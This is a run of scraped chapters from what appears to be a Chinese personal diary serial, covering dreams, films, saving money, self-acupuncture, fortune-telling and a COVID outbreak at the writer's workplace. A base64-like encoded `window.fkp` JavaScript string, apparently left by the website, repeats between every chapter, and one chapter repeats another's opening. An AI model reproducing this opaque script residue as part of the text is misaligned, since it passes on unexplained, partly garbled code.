    下一个场景，梦境里的好像从一团黑暗里醒来，梦里突然出现了一个男的，那个男的还好看耶。他说我真是一个魔鬼，又搭了一堆怨偶。我不太明白他讲的什么。后面就醒了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第338章

    看完了《人生果实》第一集，第二集，快进。这个是突然想起来的，四五年前自己很烦，然后就推送过来了，但是那个时候没有看。那个时候的状态一般。
    我很想休息，整个人很累，然后就买了秘密花园，希望自己心情能够好起来，但是没有，好疲惫，然后就看到了这个，本来我还喜欢太极，练了一点点，但是因为心情太过于沉重难受，所以没有坚持。那个纪录片我并没有去看完，只是在一些视频里人家介绍了一点点，然后就记住了，他们说老爷爷很好，他们的爱情也很好，因为两个人的食物不一样，但是老奶奶她会用心的做两份，虽然各自吃各自的，但是他们的感情很棒。当时就记住了这个。
    然后现在去看完了第一集，第二集快进。我的感受是什么呢？他们的爱情确实还好，老爷爷是一个很细腻温柔的人，会画小人物看出来，然后他设计的自己的住宅就像森林里浪漫的木屋一样。这让我想到了爷爷说过的一句话，读书并不是说希望你变得很有钱，读书了以后你可能要做的事和农民老表差不多，但是你可以过的更有规划。学会思考如何更好的做好这一件事。一个家的样子最有意义的也不是因为金钱，而在于如何安置。不过那个时候还小，我没有听懂。
    等看到了他的家，我想可能就是这个样子吧！
    视频里那个老爷爷义愤填膺说建筑的事，让我想到了《圣诞节会下雪吗》这个电视剧的一个情节，就是一个城市规划人员做的一个设计，绿色型不过这个属于联想到了，没有什么实际意义。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第339章

淘宝我都卸载了，但是我的手机还是卡。不知道为什么。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第340章

    今日晚班。不知道为什么好困。看完了《人生果实》以后，想起来那个故事里有一个老爷爷年轻的照片，感觉那个照片里的灵魂好黑，然后就像一个灰蓝色的鬼魂一样待在脑子里，他老年时代的样子却没有那种感觉，老年的样子好看。年轻时的那个照片真的像鬼一样，有点子害怕。
    然后上午看完了两页的中医人纪，做完了一些题目。本来还想做一些事的，突然就睡着了，睡的好死。
    梦见了十二生肖。里面有一个大的灰色的男人在梦里讲什么，可是完全听不懂。只知道他在我的眼睛里就是灰色的，那个世界也是光怪陆离的，但是没有那么怪。
    很诡异的感觉。
    算了老爷爷老的时候很欣赏这样子的老人，年轻时就算了。我看了害怕。虽然很想抱怨我们家，不管是我爷爷还是老公爷爷都不是那样子的人，但是他们也对我们一样好，还有我们的条件也和人家不一样。没得比，毕竟人家老爷爷是大学毕业，层次不一样，我们的都不是，但是他们也值得尊重，也各在自己的艰难岁月里练就了一技之长。
    学习人家的好的一面，缓慢而悠长的去学一样东西，孜孜不倦，坚持不懈。那个话叫啥来着。微风吹落叶，落叶丰肥土，肥土丰硕果。希望我们老了的时候，落叶归根的时候也能变成养分给下一代带来滋养。应该是这个意思吧！
    可是为什么我会梦见十二生肖？而且很诡异。不知道。让我想到了本田透。可是梦里的内容不是本田的故事。
    还有很多作业，没有做完。。希望我做完。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第341章

    就快要上班了，总想写点什么？
    看了一下余华的视频，还有莫言的，没想到他们居然都是搞笑的人。以前听到了他们的作品，根本想象不出来他们会是这样子的人，还以为他们是刻板的，他们的书我还没有去看。
    今天给自己扎了养老穴，可能是因为太喜欢熬夜了，所以眼睛感觉需要它，然后发现自己的位置好像总找都找不对。也不知道自己有没有扎到，感觉不到什么，然后就是听宫穴，用手机前置看着扎的，没有感觉，感觉自己扎到听会了。五分钟。为什么我会没有感觉呢？以前在中医科给我扎的，都有那种涨涨的感觉，要么就是另外一种就是那种针到位的感觉，搞不懂自己的问题在哪里？又不敢太猛，怕自己一不小心就扎过头了。也有可能是太浅。我看到一个视频，人家把两个风池串起扎，然后不停的移动，还说这样子非常爽。好可怕。
    我果然还是胆子太小了。不这不叫胆小，这叫谨慎，考虑周全，毕竟我很多东西都不太懂，贸然去尝试出了什么后果我不敢承担。但是有意思好想去学。虽然只有三分钟热度，但是也想享受这三分钟。
    我居然写了五十万字，好开心。离我的一百万字还有一半的路程。加油吧！真希望我的文采能够扯下去。
    等以后我想写一部完全脱离我这个人的小说，完全编的那种，不要我自己的真实事迹。
    希望吧！
    我好像有点子喜欢我的焦虑了，这一年太拖延了，向前几年没有这么拖延，因为太焦虑了。也许焦虑是好的，它让我变得紧张，更专心的面对自己该去面对问题解决问题的时刻。
    今年实在是太过于放松了，搞得我心惊胆战，特别特别的害怕自己会有问题。所以我还是很感谢我的焦虑的情绪陪伴了我那么多岁月，给我带来了成长。还有学习。是我自己的认知导致我无法很好的处理焦虑面对的问题。就像我感觉我就要被压力给锁死了，周围的人还说你没有用心努力的时候，很痛苦，但是人家也没有说错吧！所以希望来年的自己好好面对自己的压力，面对自己的情绪。好好成长吧！转变观念，也许一下子接受不了，也慢慢来，总会好起来的。
    我也不知道为什么突然之间想到了，可能是很久以前看了《塔塔突然想到》这个很简单的动画吧！感觉很多事情虽然很多事情都没有逻辑但是会突然想到。我的脑回路是我搞不懂的脑回路。
    还有一会儿就要上班了，需要准备好，然后就去，可能过几天就会回家，应该是大家一起回，我们在做准备。把东西收拾好，我的群有几个得了羊的人说自己好多了，看了我好开心，说明大家都快要回家了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第342章

    刷到一个存钱的法子，不知道有没有用，三年存十万块，让我有点子心动。我也想存十万块。想要买房子，首付应该需要三十万吧！如果是三年存十万，那三十万就应该是九年。
    三十六单存钱法，每个月存三笔钱，一笔一年期，第二笔两年期，第三笔三年期。以前我知道这样子的存钱方法。不过我没有看懂，就用的其他的，但是存太多了，自己日常开销不够吧！像我的话费每个月近两百块，然后房租三百多，加上水电费这里就需要五六百，然后骑车烧油，最近的油钱又不少，而且一个月没算过，应该也需要好多钱，又不想要换车，虽然我的车烧油，但是我很喜欢我的车。不想换。然后我又很想去培养我的爱好。写字之类的，想买报纸，墨水，其实我买了好多，还在我们自己的房子里还没有用完，可以先用，报纸的话三元钱一斤。应该可以用很久，然后又喜欢买书。
    烧钱的爱好好多。能够让人幸福快乐的东西都需要付出，还想画画。然后宝宝还在成长，需要买衣服买鞋子，还有小孩子生病之类的，自己需要吃零食，一个宝宝是个碎钞机，还有老公弟弟，计划在宝宝三岁左右再生一个，然后生产的费用总需要准备万把块钱，然后还需要买各种东西，一算下来钱不够花，也攒不了多少。
    没有买房子的计划的话还会活的更轻松一点。
    算了还是不要想那么多，及时行乐吧！明天和意外什么时候来都不知道。
    还有一栋楼还有好多人没有走，先撤离了一部分人，不过他们也是更早来的，我们还没有来，他们就工作了比较久的时候，所以她们撤我没有什么意见。另外一个地方就进了好多人，他们不知道是不是要在那里过年。好好对比一下，又觉得自己还是幸福的，至少看得见黎明的曙光。
    回家家，大家一起回家。想念自己的家人孩子。还是不要想那么多，要做题，要考试。要刷题。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第345章

    快两点了，睡不着，睡不着。
    后面的梦境里是自己在一个地方背书，类似于生理学。然后背了很久，后面梦见自己的手机在说话，说的好像是文言文，看不懂那个内容，然后再后面是在讲，反正有一辈子可以学，不用那么急于求成。
    后面就醒了。
    挺累的。
    前面几天的梦，那几个梦不晓得怎么形容。能记下来就好吧！第一个梦到了一个很宽阔的地方，然后梦到了两只兽，它们的鼻子很长，然后后面梦见自己在天上飞，然后被两只动物给抓下来了，它们抓我的理由是，你单独一个人在飞，别人都是一群人一起飞，后面就是碰到了一群人一起飞，然后就在某一颗树上，看到了一个被那两只动物绑在那里的人，帮他松了绑。后面就来到了一个地方，好多的田野，田野上都住着一只巨大的瓷碗。很像吃饭的那种。但是那个碗很大，超级大。然后就透过这些场景看到了一个很难受的女士，她的样子很大，但是感觉得到她很难受，不知道怎么形容的难受。
    然后就是下一个场景，梦到了扎着很好看辫子的女孩子，她说要给我换头，我的脑子太单纯了，需要和她交换。后面她的头接到了我的脑袋上，我们走了一段路，我好累，然后脱离了她的头，那个好像是去领导那边的路，梦里的我说她的头很重，我不喜欢。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第346章

    本来想做题的，然后又想起昨晚看完了《蒂芙尼的早餐》，心里很想写个观后感。其实我没有什么太大的想法。赫本好漂亮，光看她的颜值。象一个精灵一样的女孩子，但是她演的这个角色。人家弹幕里说看起来像一个风尘女子。我自己去看的话，没有看出来，就感觉好奇葩居然从窗户上就溜进别人家里了，而且第一次见面。看的我好震惊。后面那个作家也是震惊到了，反正看不懂有点像话剧，我没有办法想象那种感情的流动。后面就快进了，一开始二倍速，后面三倍速。大概就是她和她的弟弟在很惨的时候嫁给了医生，那个时候她才十四岁，后面她离开了医生，像医生救好了断了翅膀的鸟，鸟飞走了的意思。她是否留恋那种纸醉金迷的生活，我不晓得，我没有看出来。弹幕说女的在傍大款，男的在找富婆。就是这个电影的内容。如果不看弹幕，我真的看不太懂。那个在奢饰品店里遇到服务员的情节让我想起了好几年前一个女孩子对一家奢饰品店说话得那段新闻，大概的意思是爱才是最昂贵的奢饰品。具体的新闻内容忘记了。电影里的服务员态度还不错。值得称赞。现实世界里那个新闻店铺的态度你说它为什么上了新闻。后面对图书馆工作人员说话得那段，可能我在快进没有感觉到什么。更多的是尴尬。那是五十六年前的电影，为什么它会比较有名呢？我看不懂。
    赫本的颜值确实好看，好优雅。她的衣服到现在居然不过时。他们说类似于《茶花女》但是茶花女我看了看不懂。
    没有过分的快乐，就没有极度的悲伤。还是没有极度的快乐，就没有过分的悲伤。不记得哪个名人说的了，大概的意思就是你是一个死穷鬼就不要去宵想不属于自己能力范围外的物质生活，不然会变得更难过。
    所以还是《穿普拉达的女王》好看，有向上的能力，也有向下的勇气，因为这个电影我前几年看过了，居然是十六年前的电影。
    一个是五十六年前的女性角色一个是十六年前的角色。没有什么可比性。都好看。
    不过穿普拉达的女王，她即使是向下，她其实对于普通人来说也是上。至少不是一般人能够到她的那种程度。
    现在这个时代，不要去想那么多，无论哪一个时代都希望自己的生活能够过的很好。不管是男性还是女性。现在我们的物质生活变好了，精神生活却还没有那么好，因为我书读的太少，现在这个年龄段的我需要读一些能够带给我价值的东西，不会被我忘记的东西。也许我该去练练字了，好好体会一下心静得到感觉。
    我也是追求金钱的，希望自己能力出众，希望自己买的起房子，可以白手起家，从这个角度来说我也是爱钱的，没有人不爱钱，就像羊皮卷里说的，感谢金钱，感谢他人付给我们的工资，因为我们也为此付出劳动汗水。个人选择吧！选择自己内心真正快乐的有意义的方式获得报酬。才会变得快乐。
    因为如果一个农村的底层的女性，她从小没有希望，种地种地种地种地，种一辈子地，心安理得的种地，大字不识，你又会认为人家的蠢。如果她向上，你又告诉人家你不能这样子，所以你说怎么办呢？时代变好了，我们女性可以通过工作去获得自己想要的生活，而那个年代还没有到这种程度。
    算了，我应该也想偏了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第347章

    梦境，梦到了一个高纬度的灰色女性灵魂，她说要退回去。梦里的她很痛苦很难受的感觉。确定她像另一个纬度的我，但是她又不是我。梦境里的她很生气很生气，好像整个人都被愤怒包裹住了一样。
    为什么她会那么难受？因为什么而难受？爱情，婚姻？还是什么？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第348章

    梦境，梦里面是另一个人在驱动我的身体一样，然后我们往前走，走到那个地方有一个奇怪的人，他像一个暗金色的幽灵一样，在半空中说着什么。我听不懂，后面，就是下一个场景，场景里进入了一家店面，我好像在店里，叫店员做炒饭。
    后面下一个场景，梦到了一栋楼，然后遇到了几个人，我不认识，那几个人做了什么我也忘记了，好像是收垃圾吧！后面碰到了一团黑色的灵魂，她好像在笑，但是我不太懂。
    再后面的梦境，我不太懂，就醒了。反正是那种很奇怪的感觉，感觉不像我自己的样子，是不像我自己的样子是我，还是我又和别人交换了灵魂的感觉。不晓得。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第349章

    好难受，我真的好拖延啊！我不想拖延，我想积极。我再看了一边《穿普拉达的女王》。好看。和第一次看是不一样的感受。
    第一次看是觉得女主好优秀，在工作上让人眼前一亮，现在去看，感受就是有点可惜最后她不做交接就走了。她很优秀，羡慕女主的智商和工作能力，也欣赏女王的能力。真的很羡慕。我并不觉得她爱慕虚荣或者什么。看弹幕是这样子讲，但是她真的是工作能力很优秀。时尚的工作就是需要打扮，穿搭。我不知道我有什么样子的收获，其实我也想变得优秀，向她一样努力工作，提升自己的能力。
    我的认知可能有点子问题了，我觉得，因为之前看这个电影，我是很感动的，然后喜欢女主的特点，和艾米莉互动的时候感觉很可爱，艾米莉很可爱。现在的我看这个电影，没有感觉艾米莉很可爱。女王的特点也没有感觉，女主也没有太多的感觉，感觉就是我好像不像什么好人，只有工作一样。羡慕她的工作能力，还有工作，如果现在的我是她，我可能很难拒绝这样子的工作，我可能会一直干下去，因为她的收入肯定很可观，一定能让我买房。其实我肯定没有代入到角色中，因为这个角色的工作肯定是不愁买房这种小事情。
    但是我看着她的这份工作，我只有羡慕这样子的工作的感觉，一定能买房。没有了一开始看这个电影不被金钱物欲横流所包容的那种心态。可能我老了，也可能我年龄大了就很想要一个属于自己的家。而现实世界里是很难实现，所以看电影的心态就变了。
    想到了曾经一个同事和我说，你以后到了更高处，你会想要更多的东西。那个时候刚考去县城。其实还不太懂。以前一两千块钱我也无所谓，我对未来没有规划过，内心也充满了焦虑，看书看小说，爬山是我的人生常态，经历都忘了，那段时光，在体会的时候不觉得很美好，因为有大把的时间，内心却很多负能量，快要把人吞掉的感觉，后面上去了，没有归属感，感觉自己像浮萍一样，工作能力不强，很多东西都不知道怎么应对。这些学校没有办法教，其实家里人也没有办法教，自己学没有得心应手。内心消耗的能量，每天都在对自己说你不适合在这个世界上活着，这个班上不好，其他的工作你也完成不好，无论到哪里对你来说都是一样的。就是那种很多黑色的能量在围着自己的感觉。不停的想鼓励自己但是却没有作用。
    这个叫雾谷运。算命的和我讲了，那一年会出现这个。不过他讲的时候我没有听懂，不理解。就像心被迷雾包裹住了的感觉。看不到光亮的感觉。无论是什么都在暗示你，快死，不适合活在这个世界上。我好像一生有很多次这个运气。家公说这个运气就是人会变得浑浑噩噩。没有在自己原有的轨道上走。至于为什么我也不懂，反正人生的命运都是自己安排好的。
    等哪一天挂了，一看原来是这样子。
    后面我看了成为简奥利司汀，没有看完，有点看不懂。后面看黄文去了，可能看多了黄文接收不了那种有名的电影，可能我需要慢慢把自己的品味扭转过来。女性的形象在自己的潜意识里扭过来。《傲慢与偏见》的作者。我看到一个傲慢与偏见的文，但是那是一个小说文，写的现在的文章。不是名着。里面的内容也不是说女主因为男主的爱情而有偏见与傲慢，而是写的一些女士对女主偏见与傲慢。因为她没有穿很昂贵的衣服之类的，体现了上层人对下层人的傲慢还有偏见。反正大概就这么的意思，就是比如你很穷，你到了一个圈子，人家就瞧不起你，有很多的偏见与傲慢，各种看不惯。然后她男朋友又是上层社会的人，她普通人，所以过的很难受。但是男主的妈妈是那种穿着很昂贵的衣服，也能大口吃泡面喝汤的人。反正大概意思就是男主角很爱女主角，女主角也爱男主角，男主角的妈妈是文章末尾出现的，提了那么一个形象。而看不惯女主的，是男主那个阶层的其他女性。反正看我也没有懂，就这么一个事。男主的妈妈也没有写她讨厌女主还是怎么子，反正就是那种能够接受、没有偏见与傲慢的那种姿态的一个人。
    还是多看看有名的电影，好好把自己的三观扭转过来。
    上午很纠结，自己的物质生活的欲望，没有欲望就会变得有病，什么精力都提不起来，感觉自己废了，欲望太多就会变得很恶心，超过自己的能力范围，如果实现不了内心会很累，失去本心。我怕这样子。看过小狗钱钱，金钱是需要为人所用的。面对心愿也是需要不断的实现它，才能体会得了自己人生的意义。实现自己的价值。
    我也想这样子，但是我并不太会使用这些方法。计划太多我怕实现不了，以前就是写了满满的计划，然后一件我都没有去干，可是没有目标，我就又浑浑噩噩度过了一年，不知道自己成长了什么，有什么收获。
    我喜欢去看别人的生活，因为有些方法我没有想到，而看别人的生活，我好像一下子领悟到了什么，可是太杂了，脑子里的信息太多，感觉自己要炸了。我想要学的是什么呢？我想要学会如何使用那种计划本。
    其实我内心里并不觉得计划本有用，因为定过计划没有按计划来。可是我内心又心心念念了很多年，那就是我心里面很想好好学会如何正确的使用计划本，想要学东西，想要成长，可是成长需要执行，不只是嘴上说说，也不是写在本子里就这样子了，所以我想要学会怎么用。那种方式对我来说是最好的。快乐的可持续的。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第350章

    好难受，我真的好拖延啊！我不想拖延，我想积极。我再看了一边《穿普拉达的女王》。好看。和第一次看是不一样的感受。
    第一次看是觉得女主好优秀，在工作上让人眼前一亮，现在去看，感受就是有点可惜最后她不做交接就走了。她很优秀，羡慕女主的智商和工作能力，也欣赏女王的能力。真的很羡慕。我并不觉得她爱慕虚荣或者什么。看弹幕是这样子讲，但是她真的是工作能力很优秀。时尚的工作就是需要打扮，穿搭。我不知道我有什么样子的收获，其实我也想变得优秀，向她一样努力工作，提升自己的能力。
    然后晚上凌晨起来洗衣服，是的，我拖延了一晚上，最后起来洗衣服了，虽然想讲自己，但是还好没有拖到第二天早上。后面晚上没有休息好，晚上不知道梦到了什么，像一个灰色的脑袋，然后很晚很晚才醒，看来我不适合当这样子的人。
    白天的梦境梦里面是一个很优秀的女性，她进入我的梦境去帮一个人转阴，然后不能变羊。
    后面的场景梦里面我下载了一个app然后那个流氓软件我卸载不掉，是一个很大的精神世界，然后梦到了一个土砖房子，梦里面有个女孩子说她奶奶羊了，所以她在土砖房子里给她隔离，梦里她在一个地方照顾奶奶，然后梦里的场景是一层又一层的土砖房，而且层层叠叠的。是非常里面的世界，她说她以前从来不知道会有这个地方。行动非常不方便。
    然后下一个场景是一个小房子，但是我和我同桌群群要去那个教室听课，梦里那个地方听课特别的艰难，我在去的路上吃好了早点，手机下载的那个流氓app一直卸载不了，不知道是什么，看我也看不懂，然后在一个房子里种了一些花，然后那些花长大了，我感觉不是很好看的花，然后路上碰到了一个男的，他在app里是一个什么角色，就是那个我卸载不了的app一个角色，但是我不理解为什么。那个app的能量是黑色的，那个人在梦境现实世界也是一个脑子然后包裹了很多黑色的能量。
    然后又碰到了下一个这样子的人。
    他们在梦境的现实世界形象又还好。
    然后就是下一个梦，就是我终于和群群到了教室门口，群群说可以吃早点，每个人吃两个，然后吃完早点的皮可以把鼻子捂住，因为那个老师她嘴巴很臭。那个教室很艰难，我几乎是爬到窗户上然后再下去的，梦里还有几个人他们一起过来。
    男士但是我不认识。
    那个课现实世界里的我听不懂。
    然后就是下一个app原野羊羊，那个不知道是不是流氓软件，梦里面我没有下载这个app。但是有一个房间有一个男的在操控这个游戏。梦境世界里的人。
    然后就是另一个场景，那个场景里下了很多雨，但是是那种细如牛毛的雨，梦里那个地方有一个房子但是我没有去那条路，去的自己的地方。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第351章

    梦境，前天的，就是梦见了自己在人家的屋顶上，像一只黑色的猫在喵喵叫，然后就走了。就醒了。比较简单。然后也没有什么内容。那只黑猫还比较可爱的那种。反正没有恐惧感，很像动漫里很可爱的那种猫。只是它是黑色的。然后下一个场景就是梦到了很多触角，灰色的但是梦里的它叫我多看书，学习。
    昨日之梦。梦境里是一团黑色的东西，黑色的世界里有一个人在看手机。好像是需要点赞的内容，然后梦里的我在为什么内容点赞一样。心情并没有感觉到快乐。反而比较沉闷的那种。然后就是下一个场景就还是一个手机，手机里的人很好看，但是梦里的我没有去看。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第352章

    还有一些房间需要搞好来，然后可以提供给医护人员居住，如果他们羊了，不想回家里面住，怕自己会感染小孩子和家里人，就可以住我们这里。
    我们这里也羊了几个，可能是换人进来，然后那两个新人居然是羊，然后几个工作人员就羊了，那两只羊叫他们回去了，而我们的工作人员羊了几只。可能我们这些人也有一定的可能性会羊。所以我在忘了买了好多中药。万一我羊了我就自己熬。
    可能性可能比较大，我们说万一我们最后一个羊了，就请大家吃饭。所以也不知道自己什么时候羊。一般羊七天左右就好。
    临床好多人都是羊，都是这样子过来的。但是真的很难受。
    我昨天打了预防针。不晓得怎么办？看到了一个新闻说又有一个地狱犬新冠出来了，外国人都在发口罩。我的心真的是好难受。真希望这是假的。
    我想学画画，想看小说，想看书，希望自己学会很多知识，懂得道理，获得智慧。学会中医。想要好好的过好每一天。
    就像心灵奇旅里一样，好好的体会当下。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第353章

    梦境，梦里面梦到了一顿饭在吃，不知道我有没有吃。梦里的我很难看，灰色的，很丑。然后就是下一个场景梦见自己得癌症了，死掉了，梦里的我在说很正常，因为我经常熬夜然后即使没有什么事，也是很晚都不睡，所以我得癌症是一件很自然的事。下一个场景梦见自己是一朵兰花，兰花碎掉了。
    然后下一个场景，梦见这个世界不喜欢人类了。他们喜欢上了手机，好像要把人类的脑袋掏空，然后给手机赋予灵魂，通过某种方式夺舍更换灵魂。
    可能是熬夜熬的对手机意见好大吧！毕竟小说是看不完的，我好像被我的欲望掏空了身体
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第354章

    做了个和未来十年后的自己的催眠。然后梦里的自己穿着自然随意的外套，那个外套的颜色是褐色的，款式比较经典。然后内里是和现在差不多的条纹打底衣。现在的我也很喜欢，因为它才十三块钱，而且质量非常好。买了那两件打底衣心里看见就舒服。然后她的头发是梳理的一丝不苟的感觉。可能未来的自己会是一个谨慎优秀的人。然后牛仔裤，舒服。她脸上挂着舒服的笑容。告诉我她有三个小孩了。我以为她会很疲惫，但是她脸上的笑容很美，内心安静祥和的感觉。也就是她喜欢现在的家，喜欢现在拥有的生活。看外表应该不是非常富有，也就是内心很好。我对这个结果还是比较满意的。她对我说把握当下，珍惜眼前。而且未来的我是个胖胖的人，但是她胖的很舒服。
    感觉还可以，没有想哭，或者干嘛的感觉。就我的眼睛很疲劳。
    昨日之梦。梦里的自己在儿时的小卖部，那个卖辣条的小卖部，遇到了宋朝的皇帝，和他一起谈天说地。具体和他聊的什么内容我不知道。我感觉这应该是小说里的吧！后面梦到了一个毛绒绒的脑袋，可是她不是我们这个纬度的生物，说了啥不知道，她笑起来很像坏人一样，可是我又不感觉她是坏的。就是那种没有评价的感觉。说不清是好是坏。
    转了几个卦，问的是我能不能好好培养我的兴趣爱好。我感觉我需要找到心里热爱的东西。睽卦临卦，大过卦，还有随卦。看了一下看不太懂。自行百度。随随和顺从的意思。意思可能就是跟着自己喜欢的视频练，就会有一番成就吧！方法里面都有，就需要自己的内心拥有行动力。其实我看不懂百度说的。
    我觉得我这个应该不用算卦的方式去问兴趣爱好，直接拿我的答案之书随便翻就可以了。那个更浅显易懂。而这个卦去算有点小题大做了。
    想学书法。可以去拼夕夕买三块钱一斤的废报纸，省钱，画画，我之前就买了固体水彩还有丙烯颜料，不记得放哪里了就是，就是重新买也花不了多少钱。就像一个故事说一对夫妻，他们喜欢喝咖啡，一杯咖啡不用多少钱，然后三十几年下来就花掉了一大笔钱，可是他们喜欢喝咖啡啊！为了自己喜欢的东西花钱不是一件幸福的事吗？他们幸福了三十几年，拿铁因子省钱固然重要，但是为自己做喜欢的事花钱，真的很好。收获的感觉很多。
    如果我就像一个机器人每天上班下班，没有任何生活的享受也是不快乐的吧！久了会没有生活的动力。所以这些物质的存在，就是因为我们心里的对生活的热爱。不知道讲什么。好好努力吧！去朝未来十年后的自己出发。
    现在的我二十七。十年后的我三十七。期待中。去努力创造美好的自己。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第355章

    练练文笔：曾经啊。——
